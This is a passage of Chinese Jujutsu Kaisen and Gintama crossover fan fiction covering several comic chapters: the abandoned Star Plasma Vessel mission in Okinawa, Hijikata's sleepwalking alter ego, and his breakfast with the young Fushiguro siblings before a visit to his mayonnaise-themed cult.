这话听得坂田银时忍不住鼓起了掌，果然不带良心赚钱就是快。
这边崩溃的厨子先不谈，另一边的七海建人此时也很崩溃。
他在不知情的情况下，被迫接手了任务中被两个前辈抛在冲绳的要保护的对象。
先不提为什么明明只是来援助的他们要接过这个任务。
他看了眼在纪念品店挑选商品的天内理子，再看了眼时间，脸色难看起来。
现在这个时间，就算立马坐飞机赶回去，也已经来不及了，毫无疑问，这次的任务肯定是失败了。
出发前，他们被告知过，如果任务失败，天元大人没能同化，将会造成整个人类社会的动荡。
他也是带着相应的觉悟来到这里的。
但眼前三人之间轻松的氛围，让他因为任务失败沉重的内心复杂了起来，好像只有他一个人在为此发愁。
“那个... ...”当天内理子再次拿起一个奇怪模样的挂件，笑得毫无形象的时候，七海建人忍不住开口询问，“如果我没有记错的话，现在是不是快要过了同化的时间？这... ...真的没关系吗？”
原本直白且残酷的问话，在说到最后的时候，七海建人还是忍不住语气委婉了下来。
他知道自己这一举动，打破了见面以来的平和氛围，将一个无辜的、对生活各处尚且存在好奇的少女，强硬地拉到了残忍的现实。
她再也不可能仅仅因为一个挂件玩偶样貌憨傻，就这么发出欢笑，粗暴地逼着她认清自己已经没有了未来。
愧疚、不安，七海建人知道自己在逼一个生命去送死，他已经做好被面前三人指责的准备。
但当他抬头，却看到三双带着惊讶的眼神看向自己。
“你在说什么啊七海？”自己的同期眨着大眼睛，伸出手遮在自己嘴前，语气震惊，“你竟然要让一个少女去送死吗？”
“？”
七海建人
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难以置信又无语至极地看回去。
自己这个唯一的同期终于还是被可恶的前辈们带坏了吗？
他们来到这里不就是为了完成这个任务的吗？这种说法好像只有他是什么绝世反派一样。
天内理子看了看灰原雄，再看了看七海建人，脑子里灵光一闪。
学着灰原雄的姿势，眼角努力眨巴出几点泪花：“七海先生也想让我去同化吗？既然这样，好，那我就去了！”
她将手中买的丑挂件双手捧着，递给灰原雄：“灰原先生，请帮我照顾好丑丑，等她长大之后，就告诉她，我已经变成了星星，一直在天上看着她。”
入戏的两人不顾路人的眼光，开始抱头痛哭，只有七海建人在风中凌乱。
面露无奈的黑井美里，宠溺着笑看了一会天内理子的演戏，然后适时打着圆场：“好了，再这样下去七海先生就真的要怀疑人生了。”
七海建人这才意识到，自己可能误会了什么，咳嗽了下，为自己挽尊道：“... ...倒也没有。”
“五条先生他们恐怕是没有和您说明情况吧？”黑井美里很配合地跳过这个让七海建人难堪的话题，“是这样的，据他们所说，选择不与天元大人同化，也是这次任务的内容之一。不过具体情况我们也不是很了解，可能需要你们回去当面问问他们。”
灰原雄左手并掌，右手握拳敲在上面：“哦！也就是说，不与天元大人同化其实也不会发生什么吧？”
七海建人疑惑地看过去：“你不是什么都知道了吗？不然也不会那么没心没肺地和天内小姐玩这么开心。”
“啊？我不知道啊？”
灰原雄眨巴着纯真的双眼：“前辈们让我们帮忙保护天内小姐，也没说让我们带她们回高专啊？””
七海建人忍不住面目狰狞了一瞬间。
这对那两个人也太信任了点吧？！
“就算这样，你们就不担心我们会将你们强制带回高专吗？”他头疼地捏了捏鼻梁，“毕竟你们根本不知道我和灰原的性格。”
黑井美里笑了笑：“你会提出这个问题，就已经足够让我们信任了。果然如五条先生所说，你们很善良。”
一句话说得七海建人有些不好意思起来，他眼睛朝旁边一瞥，大大地叹了口气：“所以，他有说什么计划吗？”
“计划就是大家一起逛逛冲绳！”天内理子兴奋地举起手机，“我刚刚又搜到了几家很有意思的店！去看看吗？去看看吧！”
看着少女不在意他们谈话，只一心期待着接下来的旅途，七海建人无语了一下，最终还是妥协，点了点头。
灰原雄和天内理子同时高呼：“好耶！”
然后两人一起率先朝着前方冲去。
看着天内理子这么一副毛躁样，黑井美里有些不好意思地笑了笑：“请不要见怪，她基本没什么机会出门，所以显得兴奋了点。”
“... ...这已经不是一点了吧。”七海建人看向旁边自己的同期，无力地叹气，“算了。”
63.第六十三章
最终，星浆体还是没能准时送到天元大人那进行同化。
除了五条悟和夏油杰的任务履历上，多了一个不痛不痒的失败任务之外，还有一个少女恢复了自由。
在天元大人的授意下，总监部不再监视天内理子，但同时也收回了对其的一切优待。
斩断过去束缚的天内理子，一身轻松地开始真正属于她的人生。
盘星教这边的骚动也没有引起咒术界的注意，当然，其中也有那几个总监部教徒，利用职位在其中操纵一番、掩人耳目的缘故。
宅十四最终还是没有选择当众揭发纸片星人的真实身份，虽然一部分是因为就算说了也没人信，但还有一大部分的原因，则是心里还是不忍心让自己曾经的偶像成为众矢之的。
他神情黯淡地回到高专，将自己窝在系统空间里，好长一段时间都没有出现。
表面上看，天元大人没能同化的事件没有对这个世界的进程造成任何影响。
但是坂田银时和土方十四郎知道，平静的湖面之下，是涌动的暗流，这只是所有一切的一个开始。
虽然任务过程比起原著来说，可谓是大相径庭，但是好歹结局大致方向相似，系统也就没有判定严重偏离。
然而仔细想来，这个世界的未来真的没有变化吗？
天内理子、黑井美里以及伏黑甚尔的存活，未能斩断的命运轮回，导致夏油杰信念崩塌的导火索也一并被熄灭。
坂田银时忍不住多想，羂索是准备在后续调整自己的计划，还是说现在这种情况，已经是他调整后计划的一环？
在这干想也想不出什么所以然，决定换个环境换个脑子的他，在思考最后总是会溜到小钢珠店里。
而最近的土方十四郎也十分烦恼，他知道宅十四因为塌房精神萎靡不振，所以大部分时间都是他来接管身体。
但是每当他晚上睡着再睁开眼，面前的景色总会是别的地方。
不用多想就能知道，这是宅十四趁他睡着跑出去散心了。
土方十四郎也不是不能理解，觉得虽然出门的时间太晚了，但对方好歹能出门，总比一直把自己关在系统空间里窝着好，就放任了他一段时间。
一次可以，两次还行，但放纵到最后，就演变成每个晚上都会溜出去，就这么持续了大半个月。
关键是就算他睡着了，肉身也没得到休息，就算是咒术师那异于常人的身体素质，在这么长时间得不到休息的情况下，也开始有些遭不住。
先是上课时候没忍住睡着，再是吃饭的时候犯困，脸砸进了蛋黄酱里，到后面，甚至做任务的时候都在点头打哈欠。
深感不能再这样下去，在系统空间内和宅十四交涉无果之后，终于在一天晚上，他找上了坂田银时。
“让我借住一晚。”
回应他的是快要拍到他鼻尖的门板。
“不要这么小气，你以为我愿意和你挤一个屋？”他用力拍着门板，一点也不担心扰民，“不会和你睡一张床上的，我可以睡地上！”
门内的坂田银时不为所动，甚至躺在床上惬意地翻了个身。
“我说真的！如果我再不休息的话，我感觉在回去之前就能先猝死在这里！”
在寂静的夜晚，拍门声被无限放大传远，让原本在屋内的七海建人和灰原雄忍不住探出头。
如果说灰原雄是单纯的好奇的话，那七海建人就只是担心这两个前辈在大晚上作妖，搞得他没法入睡。
顶着背后两道目光，土方十四郎拍门的力道加大，大有不让进门就要破门而入的架势：“只要你帮忙看下我，不让我在晚上到处乱跑就可以了。”
听着门框开始发出不堪重负的“吱呀”声，知道这样下去，自己不光会被迫和土方十四郎挤一个房间，同时还会失去他的门板。
最终，坂田银时还是臭着脸妥协了。
一进屋子，土方十四郎就很自觉地在地上铺起被褥。
然后从腰背后掏出一根绳子，递给坂田银时。
坂田银时仰躺在床上，将目光从漫画里分出：“... ...这是要干什么？银桑我没这种兴趣！”
“想什么呢。”土方十四郎鄙夷地看过去，“你把我捆着，这样半夜要是那家伙想跑，你也能及时发现，把他拽住。”
“那我晚上睡什么？”
只觉得此举对自己毫无益处，坂田银时想也不想就拒绝了：“我已经把你放进来了，这已经是很大的让步了，不要太过分啊混蛋。”
还算意料之中的拒绝没有让土方十四郎感到失望，他了然地点了点头，接着又掏出一把锁。
“你是有什么多啦O梦的异次元口袋吗？从哪掏出来这么多东西？”
无视坂田银时的吐槽，土方十四郎走到门前，将已经锁住的大门用锁再锁了一遍，然后把钥匙递给坂田银时。
“只是帮我保管下钥匙，这样总行了吧？”
这么好的敲诈机会，坂田银时是不会放过的：“行啊，保存一晚一万日元，借宿一晚，我想想啊，不多，也就十万日元吧？”
“你这混蛋，被褥都还是我自己带的，你竟然开这么高的价？”
“你就说要不要吧？”
在身体极度的疲惫之下，钱财已经不重要了，于是土方十四郎还是咬着牙同意了。
屋外微风吹过，散开天上的云，点点月光浅浅地在大地上撒下一层暖黄，为漆黑的夜晚增添一丝温柔。
盏盏灯光灭去，人们陷入安眠，在梦中继续着自己的故事，耳边的虫鸣给他们做背景音乐。
坂田银时躺在床上，正梦到自己中了大奖，他拿着写着不知道多少个零的奖券站在领奖台上，台下望向他的眼神里都充满着羡慕与钦佩。
他咳嗽了几声，清了清嗓子，像模像样地拨弄了下自己面前的麦克风，张嘴就要开始说出获奖感言。
突然小腿处出现了一阵剧痛，让他一屁股跌倒在地。
周围人呜呜泱泱地围过来，却没一个人知道该做什么，他疼得只能不断重复着：“我的脚抽筋了！”
还没等他嚎几声，来自肚子上突然的一击，让他险些把晚饭给呕出来。
剧烈的，超过忍受的疼痛让他立马清醒，“嗷”的一嗓子坐了起来，并且掀翻了刚刚踩在他肚子上的宅十四。
他一脸菜色地捂着自己肚子，跪坐在床上，嘴唇发着抖：“你干什么？谋杀吗？！”
“我不是故意的。”宅十四缩了缩脖子，“太黑了我看不清。”
原地缓了缓，坂田银时小心地揉了揉自己的八块腹肌，在心理作用下感觉没刚刚那么痛了。
眼看着坂田银时就要缓过来，一旁的宅十四赶忙趁机偷袭，想要抢走钥匙。
这迎面而来的一击让坂田银时下意识想要后仰躲过，却不小心拉扯到了自己肚子上的肌肉，疼痛让他流畅的动作一顿，就这么失去平衡跌倒在地。
最后只能面露痛苦地趴倒在地上。
“不是有窗户吗？窗
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户又没锁。”
爬窗大户表示不解。
“... ...我恐高。”
坂田银时：“... ...”
此情此景，让他想起自己曾经被失眠的神乐骚扰了一晚上。
虽然不大可能，但为了完全杜绝类似的事件再次发生，他爽快地把手伸进自己睡裤屁股后面的口袋里，掏出钥匙丢了过去。
然后步履蹒跚地，弯着腰一点点蹭回到床上。
那背影看着，颇有种闪了腰的老年人的沧桑感。
第二天清晨，以为自己可以安心的土方十四郎睁开眼，看到的却是闪着碎光的湖面上，缓缓升起的一轮朝阳。
湖边带着寒气的微风吹过，带走土方十四郎身上的温度，让他忍不住打了个冷颤。
他这才注意到，自己竟然全身都湿透了。
不得了了，那家伙竟然动真格的了吗？
不对，昨天他不是让坂田银时帮忙看住他的吗？怎么还会跑出来？
果然那家伙就是不靠谱。
他瞪着透着些许麻木的眼睛，看着天边的朝阳，搓了搓自己的胳膊。
一盒特地被温热的牛奶贴到他的脸颊，给他带来一丝暖意。
“大哥哥，你没事吧？”
转头一看，一个小女孩拿着一盒牛奶，正担忧地看着他。
女孩的背后，一个头发炸毛的小男孩探出头，看了眼又赶忙缩了回去。
没想到自己竟然沦落到让小孩子担心的地步，土方十四郎难得的感到了不好意思。
他轻轻推开牛奶，努力地板着脸，想要装出一副靠谱大人的样子。
“不用。”他强行绷住不断颤抖的身体，若无其事地站起身，单手插兜，“我只是喜欢冬游而已。”
“啊？小哥，你昨晚不是那么说的。”
几个钓鱼佬扛着渔具，拎着空荡荡的水桶走了过来，其中一个递给土方十四郎一条干净的毛巾。
“凌晨的时候你站在桥上，对，看到没，就是那桥上，嚎得那叫一个惨啊，什么被欺骗了感情，什么为她付出了这么多。”
“小哥，我理解你，我也失恋过。”一个人拍了拍土方十四郎的肩膀，抹了抹眼泪，“我和她的故事，开始于那个高一的夏天... ...”
土方十四郎拍掉肩膀上的手：“不，我对你的恋爱经历不感兴趣。”
但显然心思单纯的小女孩听进去了，她脸上的担忧加深：“所以大哥哥是因为失恋想不开吗？”
没等土方十四郎说话，一旁的钓鱼佬就帮他否认：“那倒不是，他没有想不开，只是嚎几嗓子，最多有些扰民而已。”
这下不光小女孩，连土方十四郎脸上也多了疑惑。
既然这样，他又怎么会湿成现在这个样子的？
那个钓鱼佬停下对自己恋爱经历的侃侃而谈，解释道：“我看他哭那么惨，却连个河都不敢跳，这怎么好意思说自己失恋？就在后面帮了他一把。”
土方十四郎：“... ...”
他默默掏出还在不断滴水的手机举到耳边：“喂，警察吗？有人谋杀。”
“等等等！对不起对不起！我不是故意的，主要是你一身腱子肉，还以为很敦实呢，我哪知道你因为恐高双腿发软，轻轻一碰就掉下去了。”
他双手合十，满脸歉意：“事后我也是第一个下水把你捞起来的，真不是故意的。”
土方十四郎收起已经报废的手机，心累地叹了口气。
64.第六十四章
路边行人渐渐多起来，伴随着汽车的马达声和自行车零星的铃声，熟睡的城市开始苏醒。
围在附近的钓鱼佬三三两两离开，热爱结束后，就要重新归于现实的怀抱。
土方十四郎感觉身体已经暖和许多，但穿着湿过的衣服总归不太舒服，更别说上面还有水里腥味。
他拍了拍裤子，准备离开，却发现刚刚关心他的两个小孩还在原地。
而周围除了自己，已经没有了大人的身影。
“你们两个家长呢？”
年纪稍大一点的小女孩愣了一下，然后缓缓摇了摇头，眼里极力掩盖着难过的情感。
她努力笑了笑：“大哥哥是有急事吧，快点去吧，我们没关系的。”
一听就知道家里有情况，家家有本难念的经，虽然插手别人的家事不太礼貌，但他也做不到把两个小孩子丢在外面。
“你们家在哪？我送你们回去。”
“不用了，我们认识路的。”
因为生活被迫懂事的小女孩紧张起来，生怕给对方造成冒犯，一个劲地摆手。
在两人短暂一来一回的对话中，被旁边传来的“咕咕”声打断。
两人齐齐转头看去，一直藏在女孩背后的男孩子眨了眨眼，顶着两人的目光，脸颊不受控制地泛红。
他小声地发出了一声“呜”，双手紧拽着女孩子的衣角，把脸藏得更深，只露出了一只红透的耳尖。
女孩子脸上有些尴尬，又有些无奈，低垂着眼睑，伸手轻轻抓住男孩的手，想要逃离现场。
“那至少让我请你们吃一顿饭吧？”土方十四郎扬了扬手里的牛奶，“就当是谢礼了。”
因为不清楚两个小孩子的口味，土方十四郎就让两人自己挑一家。
一天的时间还早，开店的餐厅并不多。
女孩对着餐厅门口的海报左看右看，选择了标价最低、性价比很高的一家家庭餐厅。
说出决定之后，她局促不安地抬头看着土方十四郎，担心自己挑到的餐厅太过昂贵。
土方十四郎轻笑一声，摸了摸两个懂事小朋友的脑袋，轻推着他们进了餐厅。
坐在餐厅里的大多是要赶早八的上班族，他们西装革履，却匆匆忙忙，连好好品味美味早餐的时间也没有。
接过土方十四郎递过来的菜单，女孩在菜单上选了最便宜的拉面，旁边的男孩子也跟着点了一样的菜品。
过分懂事的样子让土方十四郎忍不住产生恻隐之心，给他们多点了些肉菜和甜点，给自己也点了份同样的拉面。
服务员拿走菜单，三人隔着一张桌子相顾无言，气氛一时间有些尴尬。
女孩率先开口打破这氛围：“谢谢你大哥哥，破费请我们吃好吃的。”
男孩听到，连忙也跟着小声地道谢：“… …谢谢你。”
“不用客气，我才要谢谢你们。”土方十四郎拔下吸管，插1进牛奶盒中，推到他们面前，语气不自觉柔和了起来，“不用担心，一顿饭钱而已，对我来说连一次任务赚的零头都不到。”
两个小孩眨了眨眼，不是很理解对面这个大人口中“任务”的意思，但也不难理解对方想要表达的“不差钱”的意思。
“说起来，我们还没有自我介绍呢。”女孩稍稍坐正，“我叫伏黑津美纪，他是我的弟弟，叫伏黑惠。”
土方十四郎：“… …啊？”
土方十四郎的脑子忍不住宕机了几秒，努力消化着短短一句自我介绍给他带来的信息冲击。
刚刚他应该没有听错吧？
这个世界会出现两个姓名相同，同时还是姐弟关系的人吗？
显然这几乎不可能。
他看了眼伏黑津美纪，再看了眼才三岁左右到小豆丁，感叹着自己也算是因祸得福了。
毕竟在人口密度这么高的东京，能够出门遇到小时候的男二号，这种事情的概率就和早晨扔垃圾，却在垃圾箱里发现了通往美乃滋王国的大门一样低得离谱。
当然，这意思当然不是说美乃滋王国不存在，反而意味着需要最虔诚的信徒才有资格踏入其中，而他坚信，在未来，自己肯定会是这其中的一员。
土方十四郎双手抱胸，一脸欣慰又自信地点了点头。
意识到自己的思路跑偏了，他连忙咳嗽了几声，将注意力重新集中在面前这两个小孩身上。
不就是个小时候的男二和男二的姐姐吗？从穿越到现在，他都经历了多少离奇的事情了？这点事情已经震惊不到他了。
简单地互相介绍完彼此，再稍微聊了些日常。
伏黑津美纪心思单纯，没有太多戒备，几乎是土方十四郎问什么，她就答什么。
除了土方十四郎已知的这两人没有血缘关系之外，他还问出了他们两个出门的目的，是为了找到出门几天未归的母亲。
伏黑甚尔还是和土方十四郎印象里的一样，不怎么回家，只是每个月固定打些伙食费到卡上，供他们的生活开销。
而她的母亲一个人带着两个孩子，遇到麻烦也没有能相帮的人，家务琐事几乎占据了她的全部时间，还要独自面对街里街坊的闲言碎语。
她开始感觉有些力不从心，时间长了脾气渐渐暴躁起来，最近甚至干脆离家，好几天后再回来。
他们虽然极力地想要减少母亲身上的担子，但他们太小，能做的有限，最后也只能眼睁睁地看着母亲越发憔悴。
对话到这里渐渐沉重了起来，好在这时，点好的菜做好了。
拉面和甜点被服务员一个个端到他们的桌上，瞬间转移走了两人的注意力。
看着两个小孩用力咽着口水，却不敢动筷的样子，土方十四郎也不再深入那么严肃的话题，说了句：“快点吃吧。”
一开始伏黑津美纪还想着吃得矜持一点，但当美食进入她的口腔，那久违的饭香在她口中漫开，她便不自觉地加快了吃饭的速度。
两个小孩安静地埋头吃饭，腮帮子被塞得鼓鼓囊囊，也不知道被饿了多少顿。
看得土方十四郎又给他们点了几道菜。
一晚上没吃东西，加上浑身湿透，闻着面前的饭香，他肚子也饿了起来，于是拿起美乃滋，在自己面前的拉面上仔细地挤着。
两个小孩没见过这吃饭的架势，连手里的筷子都停了下来，接着又担心自己反应过大，会冒犯到面前这个显然在享受美食的好人。
于是彼此低头对看了一眼，什么都没说，继续干饭。
土方十四郎没有关注面前两人内心的复杂变化，他挤完一瓶美乃滋，拿起筷子，美美地吸了口拉面，然后快速瞥了眼伏黑惠。
伏黑惠：“？”
土方十四郎新开了一瓶美乃滋，用筷子夹起一个天妇罗，在上面挤满美乃滋后，塞入口中，然后再次快速瞥了眼伏黑惠。
伏黑惠开始有点坐立难安：“？？”
仿佛丝毫没察觉到自己动作已经暴露，土方十四郎清了清嗓子，哧溜一口拉面，然后又瞥了一眼。
伏黑惠再也忍不住了，他放下筷子，局促地拽着自己胸前的衣服：“叔叔，我是有什么地方做错了吗？”
伏黑津美纪这才注意到不对劲，也连忙放下筷子，还不忘轻声提醒着伏黑惠：“要叫大哥哥，只要头发没有白的，都要叫哥哥，不然他们的自尊心会受到伤害的。”
意识到自己喊错称呼，伏黑惠的小手捂了下自己的嘴，抱歉又害怕地抬眼：“大，大哥哥。”
土方十四郎：“… …”
他全都听到了，而且听得一清二楚。
本来没觉得有什么的，这一番对话下来，心里反而被扎了几下。
他咳了咳，选择暂时忘记刚刚听到内容。
好吧，他承认，能见到小时候的男二什么的，这种情况确实很新奇。
尤其是看着以后的酷哥，现在还是个糯糯的小团子，喜欢跟在姐姐背后，这反差让他无数次想要掏出手机记录下来。
心里百转千回，嘴里说出的解释却挑了个最正经的：“抱歉，我只是担心你们吃得不合口味，你们又不肯说出真实想法，所以想看看你们吃饭时候的表情来判断。”
两个小孩恍然大悟，接着就是害羞。
“抱歉，叔… …大哥哥。”伏黑惠扬起一抹腼腆的笑容，“很好吃，我很喜欢。”
伏黑津美纪：“嗯！我也是。”
土方十四郎默默松了口气，算是敷衍过去了：“那就好，快点吃吧。”
小孩子的胃口终归比不过大人，等他们觉得饱了，肚子已经被食物撑得有些微微胀起，嘴上也止不住地打起嗝。
而土方十四郎还在自己的面上挤着第二轮美乃滋。
他看到两人放下筷子好奇地看着自己，朝他们安利：“要试一下美乃滋盖饭吗？超级美味的哦。”
“呃，不用了不用了。”
吓得两个小孩头都快甩出残影了。
土方十四郎只好失望着收了回去。
愉快的早餐时间很快就结束了，三人一起站起身向前台走去。
“您好先生，这边结账，一共5200日元。”
在前台小姐和伏黑姐弟的注视下，土方十四郎从口袋里掏出一个皱巴巴的钱包。
打开钱包，他朝里面伸手想要取出放在里面的纸钞。
但当他捏住同样皱巴巴的纸钞，往外一用力，还未干透的纸钞便被轻易地撕成了碎片。
他看着指尖钞票的一片，再低头看看钱包里都是战损的纸钞，顿时满脸灰色。
“那个。”他小心翼翼地抬头，迎着前台小姐和善的目光，“虽然这或许很唐突，但是我想请问，可以赊账吗？”
前台小
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姐的目光核善了起来：“不可以的哦先生，我们店里没有这个服务。”
土方十四郎心中暗叹糟糕，没想到在这个世界第一次出门请客，而且还是请的重要角色，就出师不利。
被误会成吃霸王餐倒也没什么，会因此丢了面子才更严重。
就在他和前台小姐僵持的时候，背后的伏黑津美纪和伏黑惠从自己的口袋里掏出钱包，两个人凑了凑，勉强凑出了一部分钱。
伏黑津美纪把自己的钱塞到土方十四郎的手中，小声地说：“大哥哥，我这里有一点，但不太够。”
然后抬头看向前台小姐：“大姐姐，我们身上只有这一些，你看能不能当做押金，之后我们会补上的。”
面对两个小孩渴望的眼神，前台小姐的心也软了下来，但是职责所在，她还是拒绝了：“不好意思啊，小朋友。”
被拒绝之后两个小孩耸拉着脑袋，两双大眼睛看着土方十四郎，像是在用眼神询问接下来该怎么办。
土方十四郎只觉得自己的良心在受到指责，他咬了咬牙，狠了狠心，凭着良好的记忆力，对着前台小姐报出了一串电话号码。
十几分钟后，已经少了不少人的店内，又出现了一个西装革履的人。
“你好，我就是刚刚接电话的人。”那人看了一眼土方十四郎，径直走到前台，“请问一共是多少？我来支付。”
终于付清账单，不用再艰难的忍受着店里人的目光，土方十四郎站在门口大大地松了口气。
“谢了，这附近也只有你在，我一时间想不到别人能更快赶来。”
这个西装男，正是当初他们在警局遇到的那个落魄星探，他现在既是天元教的教主助手，也是宅十四女装出道的经纪人。
经纪人摆了摆手：“不用客气，我们俩什么关系？只要你答应参加我之前给你提的签售会就好。”
提到这个，土方十四郎就一脸不情愿。
女装也好，出道也罢，全都是宅十四的主意，现在那人平时窝在系统空间里，只有在深夜才会跑出来发疯，却要让他来顶替出面签售会。
单单一个和粉丝见面，他都不愿意，更别说在大庭广众之下穿女装了。
但念及刚刚这人才救自己于水火之中，也不好说得太直白，只好摆摆手说：“我考虑考虑。”
看到土方十四郎不愿意再继续这个话题，经纪人便暂时放过了他，他把目光移到旁边的伏黑姐弟身上。
“这两个小孩和你什么关系？”还没有等土方十四郎回答，经纪人便自己想通，立马大惊失色起来，“你什么时候背着我偷偷有了孩子？你现在的身份可不一般，作为偶像可不能隐婚生子，这可是很严重的偶像失格！”
“你想什么呢？我怎么可能在一两个月里蹦出来这么大的孩子？”
“那就好，那就好。”
两人浅浅交谈几句，接着开始考虑伏黑姐弟的去处。
土方十四郎刚想说自己可以先把他们送回去，就听到经纪人弯下腰询问他们。
“我们现在经营着一个教派，你们有兴趣来参观一下吗？”
他连忙把经纪人拉到一旁，看了一眼不明所以的伏黑姐弟，放低声音：“你在干什么？你不会连这么小的孩子都不放过吧？”
“说得好像我是什么禽兽一样。”经纪人不满地看了他一眼，“虽然我确实有差不多的意思。”
顶着土方十四郎越来越危险的目光，经纪人淡定地继续说着：“我一直在想，我们教派既然都已经扩大了，那么别的大教派该有的我们也应该有，比如说我就觉得，我们教派现在就少了孩童年纪的使者和圣女。”
他低头看了看伏黑姐弟：“我觉得这两个小孩子就不错。”
土方十四郎连忙制止，经纪人不知道，他可是很清楚，这两个孩子背后的大家长有多可怕。
不清楚背后原委的经纪人继续再接再厉：“你刚刚请客没带钱，难道不想用别的方法把失去的面子赢回来吗？”
土方十四郎的内心有一丝动摇，但比起这个，他有一件事要反驳：“我带了钱，只是… …”
可话到嘴边又被土方十四郎咽了回去，他想了想比起半夜出门被推进河里，还是请客没带钱没那么丢人一点。
两个小孩子就这么抬着头，看着两个大人在自己面前交头接耳。
看着土方十四郎一脸为难的样子，伏黑惠抿了抿嘴：“大哥哥，我不感兴趣，教派我们就不去了。我们自己也认识回家的路，可以自己回家。”
但那眼神里的落寞却和话语相反。
土方十四郎忍不住倒吸一口气，旁边经纪人指责的目光也让他如芒刺背。
最终他还是妥协了。
“去，为什么不去？”
说完他一手牵着一个，朝着原来的盘星教，现在的天元教的方向走去。
65.第六十五章
站在新天元教，原盘星教的门口，土方十四郎一时间有些踌躇。
这还是继星浆体任务之后，他第一次来到这里。
之前都是为了减少对宅十四的刺激，好让他早点走出阴影。但现在看来，这样做的效果并不大。
所以他想了想，还是决定换个刺激一点的方式，帮助宅十四强制脱敏。
看出土方十四郎脸上的决心，伏黑姐弟有些不解。
伏黑津美纪担忧地询问：“大哥哥是和这个教派有什么过节吗？”
土方十四郎脸上的表情一滞，咳嗽了几下：“倒也不是，只是和里面的一个人起了一些冲突。”
“那你们的关系很好吗？”
“呃。”土方十四郎仔细回想了一下，宅十四和纸片星人之前的相处，有一些不确定地点了点头。
“那一定要把问题说开来呀。”伏黑津美纪一副小大人的模样，“朋友之间没有什么解决不了的问题。”
旁边只有三岁，连朋友的定义都不是很清楚的伏黑惠，懵懵懂懂地附和着点了点头。
土方十四郎看着这两个明明是孩子，却认真开导自己的样子，忍不住轻笑了一声。
他伸手揉了揉两个人的小脑袋：“好，我会的。小孩子就不要操大人的心了，小心以后长不高。”
伏黑惠听到这句话，惊恐地捂住了自己的脑袋，炸毛的短发被压塌，看起来整个人矮了几厘米。
土方十四郎努力憋住嘴边的笑意，带着两个人走了进去。
虽然时间还早，但是里面已经聚集了不少教徒，正在自发地打扫着。
听到大门推开的声音，教徒们抬头看来，看到来人是许久未见的土方十四郎，脸上立刻扬起欣喜，放下手里的抹布、扫帚跑来，此起彼伏地喊着“教主大人”。
声音在偌大的大厅中不断回响，让没有预想到这种情况的伏黑姐弟瞪大了眼睛，张大了嘴巴，抬头看向土方十四郎的眼神里多了些钦佩。
这眼神看得土方十四郎有些飘飘然，随即他立马正经了下表情，带着两人穿过敞亮的大厅，到达后面的庭院。
一个雕像矗立在那里，正在阳光下反射出刺眼的光芒。
那正是土方十四郎力排众议，强烈要求加上的天元教的吉祥物——美乃滋天使雕像。
雕像全身金黄，由美乃滋经典瓶身做身体，从侧边和下面伸出纤细的四根做四肢，最顶部由瓶盖顶着的，则是被挤出来的形状不怎么雅观的美乃滋，上面瞪着吉祥物的大眼睛和倒三角形的嘴。
然而这种艺术对小孩子们来说还是有点太早了。
他们两个一进来，就被这个雕像深深的吸引住了目光，不自觉地停下了脚步。
但很遗憾，在他们心里留下的不是对美的欣赏，而是对不可言之物的震撼。
而这幅震撼到说不出话的表情，让土方十四郎误以为他们被这“神圣”的画面震撼到，于是感到非常得满意。
他坚信，这才是有正常审美的人该有的表现。
想到这，他瞥了眼经纪人，那人现在满脸都是尴尬和无奈。
这个经纪人，当初也是反对他吉祥物设计的一员。
怎么想都是对方的审美不够，才不是自己设计不行。
他自信开口：“这就是我们教派的吉祥物，怎么样？看起来是不是很神圣？”
伏黑惠回过神，下意识点了点头，然后伸手，指了指对他来说高如天际的吉祥物头部：“叔… …大哥哥，那为什么吉祥物的眼睛长在一坨粑粑上啊？”
土方十四郎脸上的表情一滞。
“不可以说这么粗俗的话哦。”伏黑津美纪连忙捂住伏黑惠的嘴，一本正经地说，“至少也要用‘臭臭’来替代。”
“嗯！我知道了！”
旁边土方十四郎的脸上已经失去笑容，排满阴影，看得经纪人忍不住越笑越大声。
这猖狂的笑声瞬间吸引住了土方十四郎的全部火力，两双眼睛如利刃一样甩了过去。
毫无保留地接收到对面杀气的经纪人，笑声立马卡在了喉咙里，甚至因为转换太快，口水还呛到了嗓子眼。
“咳咳。”他猛烈咳嗽了几下，打着圆场，“童言无忌，童言无忌。”
土方十四郎冷哼一声，手下意识想从口袋里摸出一根烟，却发现那个宅十四出门的时候既没带烟，也没带打火机，最后只好在裤缝边蹭了蹭手，尴尬地收了回来。
“小孩子，不理解艺术很正常。”
他装作一副非常宽容大度的样子，好像根本不在意别人的看法，实际上只要是明眼人，都能看出他其实非常得在意。
面对伏黑惠完全不带任何恶意的疑问，他蹲下身子直视着两个孩子，眼睛里满是执着，一眨也不眨。
“听好了哦，这个世界上其实是存在美乃兹王国的，只有最忠诚的美乃滋信徒才有可能进入里面，面见国王，所以千万不能说美乃滋的坏话哦，否则半夜会被美乃滋警察抓走的。”
这已经是恐吓了吧？
不会是从之前吃饭的时候安利美乃滋被拒，就一直记到现在吧？就算是小孩子也不放过吗？
经纪人内心疯狂吐槽，面上却不敢制止，只听土方十四郎继续说着，语速越来越快。
“而你们面前的这个，他既不是粑粑也不是臭臭。他是世界上最美味的食物— —美乃滋！对，就是早上和你们一起吃饭时，我挤在拉面上的那个，有印象吗？你们对于美乃滋有偏见，肯定是因为没有尝试过品尝它。不过没关系，我在这里存了很多的美乃滋，你们可以在中午的时候尽情享用，就算是当饭吃也无所谓。不！不如说他完全可以当饭吃。就这样决定吧？中午我们吃美乃滋炒美乃滋，凉拌美乃滋… …这个世界上不存在不喜欢美乃滋的人… …”
如果这是一本漫画的话，那么画着土方十四郎的这一格，背景肯定重重涂着大片的黑色，除了人物外的角角落落都塞满了对话框，里面挤满了密密麻麻的缩小文字，让读者还没细读就能不断倒吸凉气，继而拍照发帖，然后就会在网上掀起一阵吐槽作者的热潮。
但现实不是漫画，不能不想看就直接跳过这一格，所以伏黑惠和伏黑津美纪只能瞪着越来越茫然的眼睛，对着这些不明觉厉的话语左耳朵进右耳朵出，双双被硬控在原地。
经纪人看着这面前的场景，倒是奇妙地和他们邪教，不对，划掉，教派的氛围和谐起来。
比起平时他们宛如粉丝俱乐部的画面，终于对味了一次。
作为天元教的教主助理，经纪人再清楚不过对方对美乃滋的执拗有多深了。
光是休息室后面囤积的几大箱几大箱美乃滋，就很能说明了。
面前这个雕像，也是土方十四郎亲手设计的，在最初他拿出自己的设计稿时候，大家还以为是什么小孩子涂鸦，教主大人拿出来让他们在工作之余轻松一下，开心地笑了好久。
还是看着土方十四郎丝毫未变的正经脸，他们才开始明白原来对方没有在开玩笑。
意识到这点之后，众人笑不出来了。
想想以后自家偶像无论走到哪里，身边都会多出来个这么个玩意儿。
